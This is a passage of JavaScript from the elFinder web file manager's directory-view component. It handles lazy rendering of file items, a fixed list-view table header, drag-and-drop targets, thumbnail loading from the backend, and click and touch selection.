								(list ? cwd.find('tbody') : cwd).prepend(oldSchoolItem);
							}
							fm.draggingUiHelper && fm.draggingUiHelper.data('refreshPositions', 1);
						}
					};
				if (pdir) {
					set(pdir);
				} else {
					set({hash: phash, read: true, write: true});
					if (fm.getUI('tree').length) {
						fm.one('parents', function() {
							set(fm.file(phash) || null);
							wrapper.trigger(scrollEvent);
						});
					} else {
						fm.request({
							data : {cmd : 'parents', target : fm.cwd().hash},
							preventFail : true
						})
						.done(function(data) {
							set(fm.file(phash) || null);
							wrapper.trigger(scrollEvent);
						});
					}
				}
			},
			
			showFiles = fm.options.showFiles,
			
			/**
			 * Cwd scroll event handler.
			 * Lazy load - append to cwd not shown files
			 *
			 * @return void
			 */
			render = function() {
				if (bufferExt.rendering || (bufferExt.renderd && ! buffer.length)) {
					return;
				}
				var place = (list ? cwd.children('table').children('tbody') : cwd),
					phash,
					chk,
					// created document fragment for jQuery >= 1.12, 2.2, 3.0
					// see Studio-42/elFinder#1544 @ github
					docFlag = jQuery.htmlPrefilter? true : false,
					tempDom = docFlag? jQuery(document.createDocumentFragment()) : jQuery('<div></div>'),
					go      = function(o){
						var over  = o || null,
							html  = [],
							dirs  = false,
							atmb  = {},
							stmb  = (fm.option('tmbUrl') === 'self'),
							init  = bufferExt.renderd? false : true,
							files, locks, selected;
						
						files = buffer.splice(0, showFiles + (over || 0) / (bufferExt.hpi || 1));
						bufferExt.renderd += files.length;
						if (! buffer.length) {
							bottomMarker.hide();
							wrapper.off(scrollEvent, render);
						}
						
						locks = [];
						html = jQuery.map(files, function(f) {
							if (f.hash && f.name) {
								if (f.mime == 'directory') {
									dirs = true;
								}
								if ((f.tmb && (f.tmb != 1 || f.size > 0)) || (stmb && f.mime.indexOf('image/') === 0)) {
									atmb[f.hash] = f.tmb || 'self';
								}
								clipCuts[f.hash] && locks.push(f.hash);
								return itemhtml(f);
							}
							return null;
						});

						// html into temp node
						tempDom.empty().append(html.join(''));
						
						// make directory droppable
						dirs && !mobile && makeDroppable(tempDom);
						
						// check selected items
						selected = [];
						if (Object.keys(selectedFiles).length) {
							tempDom.find('[id]:not(.'+clSelected+'):not(.elfinder-cwd-parent)').each(function() {
								selectedFiles[fm.cwdId2Hash(this.id)] && selected.push(jQuery(this));
							});
						}
						
						// append to cwd
						place.append(docFlag? tempDom : tempDom.children());
						
						// trigger select
						if (selected.length) {
							jQuery.each(selected, function(i, n) { n.trigger(evtSelect); });
							trigger();
						}
						
						locks.length && fm.trigger('lockfiles', {files: locks});
						!bufferExt.hpi && bottomMarkerShow(place, files.length);
						
						if (list) {
							// show thead
							cwd.find('thead').show();
							// fixed table header
							fixTableHeader({fitWidth: ! colWidth});
						}
						
						if (Object.keys(atmb).length) {
							Object.assign(bufferExt.attachTmbs, atmb);
						}
						
						if (init) {
							if (! mobile && ! cwd.data('selectable')) {
								// make files selectable
								cwd.selectable(selectableOption).data('selectable', true);
							}
						}

						! scrolling && wrapper.trigger(scrollEvent);
					};
				
				if (! bufferExt.renderd) {
					// first time to go()
					bufferExt.rendering = true;
					// scroll top on dir load to avoid scroll after page reload
					wrapper.scrollTop(0);
					phash = fm.cwd().phash;
					go();
					if (options.oldSchool) {
						if (phash && !query) {
							oldSchool(phash);
						} else {
							oldSchoolItem = jQuery();
						}
					}
					if (list) {
						colWidth && setColwidth();
						fixTableHeader({fitWidth: true});
					}
					bufferExt.itemH = (list? place.find('tr:first') : place.find('[id]:first')).outerHeight(true);
					fm.trigger('cwdrender');
					bufferExt.rendering = false;
					wrapperRepaint(true);
				}
				if (! bufferExt.rendering && buffer.length) {
					// next go()
					if ((chk = (wrapper.height() + wrapper.scrollTop() + fm.options.showThreshold + bufferExt.row) - (bufferExt.renderd * bufferExt.hpi)) > 0) {
						bufferExt.rendering = true;
						fm.lazy(function() {
							go(chk);
							bufferExt.rendering = false;
						});
					} else {
						!fm.enabled() && resize();
					}
				} else {
					resize();
				}
			},
			
			// fixed table header jQuery object
			tableHeader = null,

			// Is UA support CSS sticky
			cssSticky = fm.UA.CSS.positionSticky && fm.UA.CSS.widthMaxContent,
			
			// To fixed table header colmun
			fixTableHeader = function(optsArg) {
				thHeight = 0;
				if (! options.listView.fixedHeader) {
					return;
				}
				var setPos = function() {
					var val, pos;
					pos = (fm.direction === 'ltr')? 'left' : 'right';
					val = ((fm.direction === 'ltr')? wrapper.scrollLeft() : table.outerWidth(true) - wrapper.width() - wrapper.scrollLeft()) * -1;
					if (base.css(pos) !== val) {
						base.css(pos, val);
					}
				},
				opts = optsArg || {},
				cnt, base, table, htable, thead, tbody, hheight, htr, btr, htd, btd, htw, btw, init;
				
				tbody = cwd.find('tbody');
				btr = tbody.children('tr:first');
				if (btr.length && btr.is(':visible')) {
					table = tbody.parent();
					if (! tableHeader) {
						init = true;
						tbody.addClass('elfinder-cwd-fixheader');
						thead = cwd.find('thead').attr('id', fm.namespace+'-cwd-thead');
						htr = thead.children('tr:first');
						hheight = htr.outerHeight(true);
						cwd.css('margin-top', hheight - parseInt(table.css('padding-top')));
						if (cssSticky) {
							tableHeader = jQuery('<div class="elfinder-table-header-sticky"></div>').addClass(cwd.attr('class')).append(jQuery('<table></table>').append(thead));
							cwd.after(tableHeader);
							wrapper.on('resize.fixheader', function(e) {
								e.stopPropagation();
								fixTableHeader({fitWidth: true});
							});
						} else {
							base = jQuery('<div></div>').addClass(cwd.attr('class')).append(jQuery('<table></table>').append(thead));
							tableHeader = jQuery('<div></div>').addClass(wrapper.attr('class') + ' elfinder-cwd-fixheader')
								.removeClass('ui-droppable native-droppable')
								.css(wrapper.position())
								.css({ height: hheight, width: cwd.outerWidth() })
								.append(base);
							if (fm.direction === 'rtl') {
								tableHeader.css('left', (wrapper.data('width') - wrapper.width()) + 'px');
							}
							setPos();
							wrapper.after(tableHeader)
								.on('scroll.fixheader resize.fixheader', function(e) {
									setPos();
									if (e.type === 'resize') {
										e.stopPropagation();
										tableHeader.css(wrapper.position());
										wrapper.data('width', wrapper.css('overflow', 'hidden').width());
										wrapper.css('overflow', 'auto');
										fixTableHeader();
									}
								});
						}
					} else {
						thead = jQuery('#'+fm.namespace+'-cwd-thead');
						htr = thead.children('tr:first');
					}
					
					if (init || opts.fitWidth || Math.abs(btr.outerWidth() - htr.outerWidth()) > 2) {
						cnt = customCols.length + 1;
						for (var i = 0; i < cnt; i++) {
							htd = htr.children('td:eq('+i+')');
							btd = btr.children('td:eq('+i+')');
							htw = htd.width();
							btw = btd.width();
							if (typeof htd.data('delta') === 'undefined') {
								htd.data('delta', (htd.outerWidth() - htw) - (btd.outerWidth() - btw));
							}
							btw -= htd.data('delta');
							if (! init && ! opts.fitWidth && htw === btw) {
								break;
							}
							htd.css('width', btw + 'px');
						}
					}
					
					if (!cssSticky) {
						tableHeader.data('widthTimer') && cancelAnimationFrame(tableHeader.data('widthTimer'));
						tableHeader.data('widthTimer', requestAnimationFrame(function() {
							if (tableHeader) {
								tableHeader.css('width', mBoard.width() + 'px');
								if (fm.direction === 'rtl') {
									tableHeader.css('left', (wrapper.data('width') - wrapper.width()) + 'px');
								}
							}
						}));
					}
					thHeight = thead.height();
				}
			},
			
			// Set colmun width
			setColwidth = function() {
				if (list && colWidth) {
					var cl = 'elfinder-cwd-colwidth',
					first = cwd.find('tr[id]:first'),
					former;
					if (! first.hasClass(cl)) {
						former = cwd.find('tr.'+cl);
						former.removeClass(cl).find('td').css('width', '');
						first.addClass(cl);
						cwd.find('table:first').css('table-layout', 'fixed');
						jQuery.each(jQuery.merge(['name'], customCols), function(i, k) {
							var w = colWidth[k] || first.find('td.elfinder-col-'+k).width();
							first.find('td.elfinder-col-'+k).width(w);
						});
					}
				}
			},
			
			/**
			 * Droppable options for cwd.
			 * Drop target is `wrapper`
			 * Do not add class on childs file over
			 *
			 * @type Object
			 */
			droppable = Object.assign({}, fm.droppable, {
				over : function(e, ui) {
					var dst    = jQuery(this),
						helper = ui.helper,
						ctr    = (e.shiftKey || e.ctrlKey || e.metaKey),
						hash, status, inParent;
					e.stopPropagation();
					helper.data('dropover', helper.data('dropover') + 1);
					dst.data('dropover', true);
					helper.removeClass('elfinder-drag-helper-move elfinder-drag-helper-plus');
					if (helper.data('namespace') !== fm.namespace || ! fm.insideWorkzone(e.pageX, e.pageY)) {
						dst.removeClass(clDropActive);
						//helper.removeClass('elfinder-drag-helper-move elfinder-drag-helper-plus');
						return;
					}
					if (dst.hasClass(fm.res(c, 'cwdfile'))) {
						hash = fm.cwdId2Hash(dst.attr('id'));
						dst.data('dropover', hash);
					} else {
						hash = fm.cwd().hash;
						fm.cwd().write && dst.data('dropover', hash);
					}
					inParent = (fm.file(helper.data('files')[0]).phash === hash);
					if (dst.data('dropover') === hash) {
						jQuery.each(helper.data('files'), function(i, h) {
							if (h === hash || (inParent && !ctr && !helper.hasClass('elfinder-drag-helper-plus'))) {
								dst.removeClass(clDropActive);
								return false; // break jQuery.each
							}
						});
					} else {
						dst.removeClass(clDropActive);
					}
					if (helper.data('locked') || inParent) {
						status = 'elfinder-drag-helper-plus';
					} else {
						status = 'elfinder-drag-helper-move';
						if (ctr) {
							status += ' elfinder-drag-helper-plus';
						}
					}
					dst.hasClass(clDropActive) && helper.addClass(status);
					requestAnimationFrame(function(){ dst.hasClass(clDropActive) && helper.addClass(status); });
				},
				out : function(e, ui) {
					var helper = ui.helper;
					e.stopPropagation();
					helper.removeClass('elfinder-drag-helper-move elfinder-drag-helper-plus').data('dropover', Math.max(helper.data('dropover') - 1, 0));
					jQuery(this).removeData('dropover')
					       .removeClass(clDropActive);
				},
				deactivate : function() {
					jQuery(this).removeData('dropover')
					       .removeClass(clDropActive);
				},
				drop : function(e, ui) {
					unselectAll({ notrigger: true });
					fm.droppable.drop.call(this, e, ui);
				}
			}),
			
			/**
			 * Make directory droppable
			 *
			 * @return void
			 */
			makeDroppable = function(place) {
				place = place? place : (list ? cwd.find('tbody') : cwd);
				var targets = place.children('.directory:not(.'+clDroppable+',.elfinder-na,.elfinder-ro)');

				if (fm.isCommandEnabled('paste')) {
					targets.droppable(droppable);
				}
				if (fm.isCommandEnabled('upload')) {
					targets.addClass('native-droppable');
				}
				
				place.children('.isroot').each(function(i, n) {
					var $n   = jQuery(n),
						hash = fm.cwdId2Hash(n.id);
					
					if (fm.isCommandEnabled('paste', hash)) {
						if (! $n.hasClass(clDroppable+',elfinder-na,elfinder-ro')) {
							$n.droppable(droppable);
						}
					} else {
						if ($n.hasClass(clDroppable)) {
							$n.droppable('destroy');
						}
					}
					if (fm.isCommandEnabled('upload', hash)) {
						if (! $n.hasClass('native-droppable,elfinder-na,elfinder-ro')) {
							$n.addClass('native-droppable');
						}
					} else {
						if ($n.hasClass('native-droppable')) {
							$n.removeClass('native-droppable');
						}
					}
				});
			},
			
			/**
			 * Preload required thumbnails and on load add css to files.
			 * Return false if required file is not visible yet (in buffer) -
			 * required for old api to stop loading thumbnails.
			 *
			 * @param  Object  file hash -> thumbnail map
			 * @param  Bool    reload
			 * @return void
			 */
			attachThumbnails = function(tmbs, reload) {
				var attach = function(node, tmb) {
						jQuery('<img/>')
							.on('load', function() {
								node.find('.elfinder-cwd-icon').addClass(tmb.className).css('background-image', "url('"+tmb.url+"')");
							})
							.attr('src', tmb.url);
					},
					chk  = function(hash, tmb) {
						var node = fm.cwdHash2Elm(hash),
							file, tmbObj, reloads = [];
	
						if (node.length) {
							if (tmb != '1') {
								file = fm.file(hash);
								if (file.tmb !== tmb) {
									file.tmb = tmb;
								}
								tmbObj = fm.tmb(file);
								if (reload) {
									node.find('.elfinder-cwd-icon').addClass(tmbObj.className).css('background-image', "url('"+tmbObj.url+"')");
								} else {
									attach(node, tmbObj);
								}
								delete bufferExt.attachTmbs[hash];
							} else {
								if (reload) {
									loadThumbnails([hash]);
								} else if (! bufferExt.tmbLoading[hash]) {
									bufferExt.getTmbs.push(hash);
								}
							}
						}
					};

				if (jQuery.isPlainObject(tmbs) && Object.keys(tmbs).length) {
					Object.assign(bufferExt.attachTmbs, tmbs);
					jQuery.each(tmbs, chk);
					if (! reload && bufferExt.getTmbs.length && ! Object.keys(bufferExt.tmbLoading).length) {
						loadThumbnails();
					}
				}
			},
			
			/**
			 * Load thumbnails from backend.
			 *
			 * @param  Array|void reloads  hashes list for reload thumbnail items
			 * @return void
			 */
			loadThumbnails = function(reloads) {
				var tmbs = [],
					reload = false;
				
				if (fm.oldAPI) {
					fm.request({
						data : {cmd : 'tmb', current : fm.cwd().hash},
						preventFail : true
					})
					.done(function(data) {
						if (data.images && Object.keys(data.images).length) {
							attachThumbnails(data.images);
						}
						if (data.tmb) {
							loadThumbnails();
						}
					});
					return;
				} 

				if (reloads) {
					reload = true;
					tmbs = reloads.splice(0, tmbNum);
				} else {
					tmbs = bufferExt.getTmbs.splice(0, tmbNum);
				}
				if (tmbs.length) {
					if (reload || inViewHashes[tmbs[0]] || inViewHashes[tmbs[tmbs.length-1]]) {
						jQuery.each(tmbs, function(i, h) {
							bufferExt.tmbLoading[h] = true;
						});
						fm.request({
							data : {cmd : 'tmb', targets : tmbs},
							preventFail : true
						})
						.done(function(data) {
							var errs = [],
								resLen;
							if (data.images) {
								if (resLen = Object.keys(data.images).length) {
									if (resLen < tmbs.length) {
										jQuery.each(tmbs, function(i, h) {
											if (! data.images[h]) {
												errs.push(h);
											}
										});
									}
									attachThumbnails(data.images, reload);
								} else {
									errs = tmbs;
								}
								// unset error items from bufferExt.attachTmbs
								if (errs.length) {
									jQuery.each(errs, function(i, h) {
										delete bufferExt.attachTmbs[h];
									});
								}
							}
							if (reload) {
								if (reloads.length) {
									loadThumbnails(reloads);
								}
							}
						})
						.always(function() {
							bufferExt.tmbLoading = {};
							if (! reload && bufferExt.getTmbs.length) {
								loadThumbnails();
							}
						});
					}
				}
			},
			
			/**
			 * Add new files to cwd/buffer
			 *
			 * @param  Array  new files
			 * @return void
			 */
			add = function(files, mode) {
				var place    = list ? cwd.find('tbody') : cwd,
					l        = files.length, 
					atmb     = {},
					findNode = function(file) {
						var pointer = cwd.find('[id]:first'), file2;

						while (pointer.length) {
							file2 = fm.file(fm.cwdId2Hash(pointer.attr('id')));
							if (!pointer.hasClass('elfinder-cwd-parent') && file2 && fm.compare(file, file2) < 0) {
								return pointer;
							}
							pointer = pointer.next('[id]');
						}
					},
					findIndex = function(file) {
						var l = buffer.length, i;
						
						for (i =0; i < l; i++) {
							if (fm.compare(file, buffer[i]) < 0) {
								return i;
							}
						}
						return l || -1;
					},
					// created document fragment for jQuery >= 1.12, 2.2, 3.0
					// see Studio-42/elFinder#1544 @ github
					docFlag = jQuery.htmlPrefilter? true : false,
					tempDom = docFlag? jQuery(document.createDocumentFragment()) : jQuery('<div></div>'),
					file, hash, node, nodes, ndx, stmb;

				if (l > showFiles) {
					// re-render for performance tune
					content();
					selectedFiles = fm.arrayFlip(jQuery.map(files, function(f) { return f.hash; }), true);
					trigger();
				} else {
					// add the item immediately
					l && wz.removeClass('elfinder-cwd-wrapper-empty');
					
					// Self thumbnail
					stmb = (fm.option('tmbUrl') === 'self');
					
					while (l--) {
						file = files[l];
						hash = file.hash;
						
						if (fm.cwdHash2Elm(hash).length) {
							continue;
						}
						
						if ((node = findNode(file)) && ! node.length) {
							node = null;
						}
						if (! node && (ndx = findIndex(file)) >= 0) {
							buffer.splice(ndx, 0, file);
						} else {
							tempDom.empty().append(itemhtml(file));
							(file.mime === 'directory') && !mobile && makeDroppable(tempDom);
							nodes = docFlag? tempDom : tempDom.children();
							if (node) {
								node.before(nodes);
							} else {
								place.append(nodes);
							}
							++bufferExt.renderd;
						}
						
						if (fm.cwdHash2Elm(hash).length) {
							if ((file.tmb && (file.tmb != 1 || file.size > 0)) || (stmb && file.mime.indexOf('image/') === 0)) {
								atmb[hash] = file.tmb || 'self';
							}
						}
					}
	
					if (list) {
						setColwidth();
						fixTableHeader({fitWidth: ! colWidth});
					}
					bottomMarkerShow(place);
					if (Object.keys(atmb).length) {
						Object.assign(bufferExt.attachTmbs, atmb);
						if (buffer.length < 1) {
							loadThumbnails();
						}
					}
				}
			},
			
			/**
			 * Remove files from cwd/buffer
			 *
			 * @param  Array  files hashes
			 * @return void
			 */
			remove = function(files) {
				var l = files.length,
					inSearch = fm.searchStatus.state > 1,
					curCmd = fm.getCommand(fm.currentReqCmd) || {},
					hash, n, ndx, found;

				// removed cwd
				if (!fm.cwd().hash && !curCmd.noChangeDirOnRemovedCwd) {
					jQuery.each(cwdParents.reverse(), function(i, h) {
						if (fm.file(h)) {
							found = true;
							fm.one(fm.currentReqCmd + 'done', function() {
								!fm.cwd().hash && fm.exec('open', h);
							});
							return false;
						}
					});
					// fallback to fm.roots[0]
					!found && !fm.cwd().hash && fm.exec('open', fm.roots[Object.keys(fm.roots)[0]]);
					return;
				}
				
				while (l--) {
					hash = files[l];
					if ((n = fm.cwdHash2Elm(hash)).length) {
						try {
							n.remove();
							--bufferExt.renderd;
						} catch(e) {
							fm.debug('error', e);
						}
					} else if ((ndx = index(hash)) !== -1) {
						buffer.splice(ndx, 1);
					}
					selectedFiles[hash] && delete selectedFiles[hash];
					if (inSearch) {
						if ((ndx = jQuery.inArray(hash, cwdHashes)) !== -1) {
							cwdHashes.splice(ndx, 1);
						}
					}
				}
				
				inSearch && fm.trigger('cwdhasheschange', cwdHashes);
				
				if (list) {
					setColwidth();
					fixTableHeader({fitWidth: ! colWidth});
				}
			},
			
			customColsNameBuild = function() {
				var name = '',
				customColsName = '';
				for (var i = 0; i < customCols.length; i++) {
					name = fm.getColumnName(customCols[i]);
					customColsName +='<td class="elfinder-cwd-view-th-'+customCols[i]+' sortable-item">'+name+'</td>';
				}
				return customColsName;
			},
			
			setItemBoxSize = function(boxSize) {
				var place, elm;
				if (!boxSize.height) {
					place = (list ? cwd.find('tbody') : cwd);
					elm = place.find(list? 'tr:first' : '[id]:first');
					boxSize.height = elm.outerHeight(true);
					if (!list) {
						boxSize.width = elm.outerWidth(true);
					}
				}
			},

			bottomMarkerShow = function(cur, cnt) {
				var place = cur || (list ? cwd.find('tbody') : cwd),
					boxSize = itemBoxSize[fm.viewType],
					col = 1,
					row;

				if (buffer.length > 0) {
					if (!bufferExt.hpi) {
						setItemBoxSize(boxSize);
						if (! list) {
							col = Math.floor(place.width() / boxSize.width);
							bufferExt.row = boxSize.height;
							bufferExt.hpi = bufferExt.row / col;
						} else {
							bufferExt.row = bufferExt.hpi = boxSize.height;
						}
					} else if (!list) {
						col = Math.floor(place.width() / boxSize.width);
					}
					row = Math.ceil((buffer.length + (cnt || 0)) / col);
					if (list && tableHeader) {
						++row;
					}
					bottomMarker.css({top: (bufferExt.row * row) + 'px'}).show();
				}
			},
			
			wrapperContextMenu = {
				contextmenu : function(e) {
					e.preventDefault();
					if (cwd.data('longtap') !== void(0)) {
						e.stopPropagation();
						return;
					}
					fm.trigger('contextmenu', {
						'type'    : 'cwd',
						'targets' : [fm.cwd().hash],
						'x'       : e.pageX,
						'y'       : e.pageY
					});
				},
				touchstart : function(e) {
					if (e.originalEvent.touches.length > 1) {
						return;
					}
					if (cwd.data('longtap') !== false) {
						wrapper.data('touching', {x: e.originalEvent.touches[0].pageX, y: e.originalEvent.touches[0].pageY});
						cwd.data('tmlongtap', setTimeout(function(){
							// long tap
							cwd.data('longtap', true);
							fm.trigger('contextmenu', {
								'type'    : 'cwd',
								'targets' : [fm.cwd().hash],
								'x'       : wrapper.data('touching').x,
								'y'       : wrapper.data('touching').y
							});
						}, 500));
					}
					cwd.data('longtap', null);
				},
				touchend : function(e) {
					if (e.type === 'touchmove') {
						if (! wrapper.data('touching') ||
								( Math.abs(wrapper.data('touching').x - e.originalEvent.touches[0].pageX)
								+ Math.abs(wrapper.data('touching').y - e.originalEvent.touches[0].pageY)) > 4) {
							wrapper.data('touching', null);
						}
					} else {
						setTimeout(function() {
							cwd.removeData('longtap');
						}, 80);
					}
					clearTimeout(cwd.data('tmlongtap'));
				},
				click : function(e) {
					if (cwd.data('longtap')) {
						e.preventDefault();
						e.stopPropagation();
					}
				}
			},
			
			/**
			 * Update directory content
			 *
			 * @return void
			 */
			content = function() {
				fm.lazy(function() {
					var phash, emptyMethod, thtr;

					wz.append(selectAllCheckbox).removeClass('elfinder-cwd-wrapper-empty elfinder-search-result elfinder-incsearch-result elfinder-letsearch-result');
					if (fm.searchStatus.state > 1 || fm.searchStatus.ininc) {
						wz.addClass('elfinder-search-result' + (fm.searchStatus.ininc? ' elfinder-'+(query.substr(0,1) === '/' ? 'let':'inc')+'search-result' : ''));
					}
					
					// abort attachThumbJob
					bufferExt.attachThumbJob && bufferExt.attachThumbJob._abort();
					
					// destroy selectable for GC
					cwd.data('selectable') && cwd.selectable('disable').selectable('destroy').removeData('selectable');
					
					// notify cwd init
					fm.trigger('cwdinit');
					
					selectedNext = jQuery();
					try {
						// to avoid problem with draggable
						cwd.empty();
					} catch (e) {
						cwd.html('');
					}
					
					if (tableHeader) {
						wrapper.off('scroll.fixheader resize.fixheader');
						tableHeader.remove();
						tableHeader = null;
					}

					cwd.removeClass('elfinder-cwd-view-icons elfinder-cwd-view-list')
						.addClass('elfinder-cwd-view-'+(list ? 'list' :'icons'))
						.attr('style', '')
						.css('height', 'auto');
					bottomMarker.hide();

					wrapper[list ? 'addClass' : 'removeClass']('elfinder-cwd-wrapper-list')._padding = parseInt(wrapper.css('padding-top')) + parseInt(wrapper.css('padding-bottom'));
					if (fm.UA.iOS) {
						wrapper.removeClass('overflow-scrolling-touch').addClass('overflow-scrolling-touch');
					}

					if (list) {
						cwd.html('<table><thead></thead><tbody></tbody></table>');
						thtr = jQuery('<tr class="ui-state-default"><td class="elfinder-cwd-view-th-name">'+fm.getColumnName('name')+'</td>'+customColsNameBuild()+'</tr>');
						cwd.find('thead').hide().append(thtr).find('td:first').append(selectAllCheckbox);
						if (jQuery.fn.sortable) {
							thtr.addClass('touch-punch touch-punch-keep-default')
								.sortable({
								axis: 'x',
								distance: 8,
								items: '> .sortable-item',
								start: function(e, ui) {
									jQuery(ui.item[0]).data('dragging', true);
									ui.placeholder
										.width(ui.helper.removeClass('ui-state-hover').width())
										.removeClass('ui-state-active')
										.addClass('ui-state-hover')
										.css('visibility', 'visible');
								},
								update: function(e, ui){
									var target = jQuery(ui.item[0]).attr('class').split(' ')[0].replace('elfinder-cwd-view-th-', ''),
										prev, done;
									customCols = jQuery.map(jQuery(this).children(), function(n) {
										var name = jQuery(n).attr('class').split(' ')[0].replace('elfinder-cwd-view-th-', '');
										if (! done) {
											if (target === name) {
												done = true;
											} else {
												prev = name;
											}
										}
										return (name === 'name')? null : name;
									});
									templates.row = makeTemplateRow();
									fm.storage('cwdCols', customCols);
									prev = '.elfinder-col-'+prev+':first';
									target = '.elfinder-col-'+target+':first';
									fm.lazy(function() {
										cwd.find('tbody tr').each(function() {
											var $this = jQuery(this);
											$this.children(prev).after($this.children(target));
										});
									});
								},
								stop: function(e, ui) {
									setTimeout(function() {
										jQuery(ui.item[0]).removeData('dragging');
									}, 100);
								}
							});
						}

						thtr.find('td').addClass('touch-punch').resizable({
							handles: fm.direction === 'ltr'? 'e' : 'w',
							start: function(e, ui) {
								var target = cwd.find('td.elfinder-col-'
									+ ui.element.attr('class').split(' ')[0].replace('elfinder-cwd-view-th-', '')
									+ ':first');
								
								ui.element
									.data('dragging', true)
									.data('resizeTarget', target)
									.data('targetWidth', target.width());
								colResizing = true;
								if (cwd.find('table').css('table-layout') !== 'fixed') {
									cwd.find('tbody tr:first td').each(function() {
										jQuery(this).width(jQuery(this).width());
									});
									cwd.find('table').css('table-layout', 'fixed');
								}
							},
							resize: function(e, ui) {
								ui.element.data('resizeTarget').width(ui.element.data('targetWidth') - (ui.originalSize.width - ui.size.width));
							},
							stop : function(e, ui) {
								colResizing = false;
								fixTableHeader({fitWidth: true});
								colWidth = {};
								cwd.find('tbody tr:first td').each(function() {
									var name = jQuery(this).attr('class').split(' ')[0].replace('elfinder-col-', '');
									colWidth[name] = jQuery(this).width();
								});
								fm.storage('cwdColWidth', colWidth);
								setTimeout(function() {
									ui.element.removeData('dragging');
								}, 100);
							}
						})
						.find('.ui-resizable-handle').addClass('ui-icon ui-icon-grip-dotted-vertical');
					}

					buffer = jQuery.map(incHashes || cwdHashes, function(hash) { return fm.file(hash) || null; });
					
					buffer = fm.sortFiles(buffer);
					
					if (incHashes) {
						incHashes = jQuery.map(buffer, function(f) { return f.hash; });
					} else {
						cwdHashes = jQuery.map(buffer, function(f) { return f.hash; });
					}
					
					bufferExt = {
						renderd: 0,
						attachTmbs: {},
						getTmbs: [],
						tmbLoading: {},
						lazyOpts: { tm : 0 }
					};
					
					wz[(buffer.length < 1) ? 'addClass' : 'removeClass']('elfinder-cwd-wrapper-empty');
					wrapper.off(scrollEvent, render).on(scrollEvent, render).trigger(scrollEvent);
					
					// set droppable
					if (!fm.cwd().write) {
						wrapper.removeClass('native-droppable')
						       .droppable('disable')
						       .removeClass('ui-state-disabled'); // for old jQueryUI see https://bugs.jqueryui.com/ticket/5974
					} else {
						wrapper[fm.isCommandEnabled('upload')? 'addClass' : 'removeClass']('native-droppable');
						wrapper.droppable(fm.isCommandEnabled('paste')? 'enable' : 'disable');
					}
				});
			},
			
			/**
			 * CWD node itself
			 *
			 * @type JQuery
			 **/
			cwd = jQuery(this)
				.addClass('ui-helper-clearfix elfinder-cwd')
				.attr('unselectable', 'on')
				// fix ui.selectable bugs and add shift+click support 
				.on('click.'+fm.namespace, fileSelector, function(e) {
					var p    = this.id ? jQuery(this) : jQuery(this).parents('[id]:first'),
						tgt  = jQuery(e.target),
						prev,
						next,
						pl,
						nl,
						sib;

					if (selectCheckbox && (tgt.is('input:checkbox.'+clSelChk) || tgt.hasClass('elfinder-cwd-select'))) {
						e.stopPropagation();
						e.preventDefault();
						p.trigger(p.hasClass(clSelected) ? evtUnselect : evtSelect);
						trigger();
						requestAnimationFrame(function() {
							tgt.prop('checked', p.hasClass(clSelected));
						});
						return;
					}

					if (cwd.data('longtap') || tgt.hasClass('elfinder-cwd-nonselect')) {
						e.stopPropagation();
						return;
					}

					if (!curClickId) {
						curClickId = p.attr('id');
						setTimeout(function() {
							curClickId = '';
						}, 500);
					}
					
					if (e.shiftKey) {
						prev = p.prevAll(lastSelect || '.'+clSelected+':first');
						next = p.nextAll(lastSelect || '.'+clSelected+':first');
						pl   = prev.length;
						nl   = next.length;
					}
					if (e.shiftKey && (pl || nl)) {
						sib = pl ? p.prevUntil('#'+prev.attr('id')) : p.nextUntil('#'+next.attr('id'));
						sib = sib.add(p);
						if (!pl) {
							sib  = jQuery(sib.get().reverse());
						}
						sib.trigger(evtSelect);
					} else if (e.ctrlKey || e.metaKey) {
						p.trigger(p.hasClass(clSelected) ? evtUnselect : evtSelect);
					} else {
						if (wrapper.data('touching') && p.hasClass(clSelected)) {
							wrapper.data('touching', null);
							fm.dblclick({file : fm.cwdId2Hash(this.id)});
							return;
						} else {
							unselectAll({ notrigger: true });
							p.trigger(evtSelect);
						}
					}

					trigger();
				})
				// call fm.open()
				.on('dblclick.'+fm.namespace, fileSelector, function(e) {
					if (curClickId) {
						var hash = fm.cwdId2Hash(curClickId);
						e.stopPropagation();
						if (this.id !== curClickId) {
							jQuery(this).trigger(evtUnselect);
							jQuery('#'+curClickId).trigger(evtSelect);
							trigger();
						}
						fm.dblclick({file : hash});
					}
				})
				// for touch device
				.on('touchstart.'+fm.namespace, fileSelector, function(e) {
					if (e.originalEvent.touches.length > 1) {
						return;
					}
					var p   = this.id ? jQuery(this) : jQuery(this).parents('[id]:first'),
						tgt = jQuery(e.target),
						nodeName = e.target.nodeName,
						sel;
					
					if ((nodeName === 'INPUT' && e.target.type === 'text') || nodeName === 'TEXTAREA' || tgt.hasClass('elfinder-cwd-nonselect')) {
						e.stopPropagation();
						return;
					}
					
					// now name editing
					if (p.find('input:text,textarea').length) {
						e.stopPropagation();
						e.preventDefault();
						return;
					}
					
					wrapper.data('touching', {x: e.originalEvent.touches[0].pageX, y: e.originalEvent.touches[0].pageY});
					if (selectCheckbox && (tgt.is('input:checkbox.'+clSelChk) || tgt.hasClass('elfinder-cwd-select'))) {
						return;
					}
					
					sel = p.prevAll('.'+clSelected+':first').length +
					      p.nextAll('.'+clSelected+':first').length;
					cwd.data('longtap', null);
					if (Object.keys(selectedFiles).length
						||
						(list && e.target.nodeName !== 'TD')
						||
						(!list && this !== e.target)
					) {
						cwd.data('longtap', false);
						p.addClass(clHover);
						p.data('tmlongtap', setTimeout(function(){
							// long tap
							cwd.data('longtap', true);
							p.trigger(evtSelect);
							trigger();
							fm.trigger('contextmenu', {
								'type'    : 'files',
								'targets' : fm.selected(),
								'x'       : e.originalEvent.touches[0].pageX,
								'y'       : e.originalEvent.touches[0].pageY
							});
						}, 500));
					}
				})
				.on('touchmove.'+fm.namespace+' touchend.'+fm.namespace, fileSelector, function(e) {
					var tgt = jQuery(e.target),
						p;
					if (selectCheckbox && (tgt.is('input:checkbox.'+clSelChk) || tgt.hasClass('elfinder-cwd-select'))) {
						return;
					}
					if (e.target.nodeName == 'INPUT' || e.target.nodeName == 'TEXTAREA') {
						e.stopPropagation();
						return;
					}
					p = this.id ? jQuery(this) : jQuery(this).parents('[id]:first');
					clearTimeout(p.data('tmlongtap'));
					if (e.type === 'touchmove') {
						wrapper.data('touching', null);
						p.removeClass(clHover);
					} else {
						if (wrapper.data('touching') && !cwd.data('longtap') && p.hasClass(clSelected)) {
							e.preventDefault();
							wrapper.data('touching', null);
							fm.dblclick({file : fm.cwdId2Hash(this.id)});
						}
						setTimeout(function() {
							cwd.removeData('longtap');
						}, 80);
					}
				})
				// attach draggable
				.on('mouseenter.'+fm.namespace, fileSelector, function(e) {
					if (scrolling) { return; }
